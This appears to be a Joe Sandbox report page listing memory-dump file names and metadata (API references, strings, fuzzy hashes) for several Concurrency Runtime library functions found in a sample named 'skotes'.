Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 100b7aa135f74bf2ace55a7a50f264a1c877f98e47f5674db3d61145c103f3ca
Instruction ID: 3ab4aa44a2a66b8c88b6aee986b3a8fba3ffd9be6fab5fb4e0b2152e9a2cce55
Opcode Fuzzy Hash: 100b7aa135f74bf2ace55a7a50f264a1c877f98e47f5674db3d61145c103f3ca
Instruction Fuzzy Hash: 6821DB75640705ABCB08EF64C892BEDB7A5BF58310F50401EF505A7382DBB4AE11CB95

Function 001E4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001E4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 001E4F66

Strings

count, xrefs: 001E4EBA
ppVirtualProcessorRoots, xrefs: 001E4F1C

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 343b3399d8696d6d690c9231434a0ae8d1b2d654b565003d1e21486dfc8b124a
Instruction ID: 4239e4a6c061cb61f7bf5fb8075330103b8a6bc78da7c35e05ddfd7a28cf4256
Opcode Fuzzy Hash: 343b3399d8696d6d690c9231434a0ae8d1b2d654b565003d1e21486dfc8b124a
Instruction Fuzzy Hash: 5321D034600A15EFCB18EFA9C892EAD77F5BF58310F00406AF50697792DB71AE11CB91

Function 001EB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001EBA0E

Strings

RoInitialize, xrefs: 001EB998
combase.dll, xrefs: 001EB983, 001EB988, 001EB99D, 001EB9C8
RoUninitialize, xrefs: 001EB9C1

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 6c4719c2e7124b84f8cd535e0190bc830d4ef426ff5d1ace5bdb839ba0ad7669
Instruction ID: 41757f39257dda567a5943ecec89875038abf9b557733f2078ff3e0a5e2b7fdb
Opcode Fuzzy Hash: 6c4719c2e7124b84f8cd535e0190bc830d4ef426ff5d1ace5bdb839ba0ad7669
Instruction Fuzzy Hash: CB012270884AA96AEB10BBB36C49BBF31CC8F4134CF212839A540F6181EB75D41086E5

Function 001E6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 001E6E73

Part of subcall function 001E4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001E4E7F
Part of subcall function 001E4E6E: List.LIBCMT ref: 001E4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001E6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001E6EAA

Strings

eventObject, xrefs: 001E6E7D

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: ad03070ab6d86c9ee1af2253a2cf0b849ba4ff557890652e05d6e976e01f34f6
Instruction ID: 313a3db9310584112c1adb337c913b1f0e18e6dc10f4613f89ce1b8eeb6637da
Opcode Fuzzy Hash: ad03070ab6d86c9ee1af2253a2cf0b849ba4ff557890652e05d6e976e01f34f6
Instruction Fuzzy Hash: 05114475900204F7EB24EBA6CD46FFF73B86F21384FA04125B508A60C1DB74AA04CBB1

Function 001EA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 001EA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 001EA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001EA139

Strings

pScheduler, xrefs: 001EA131

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
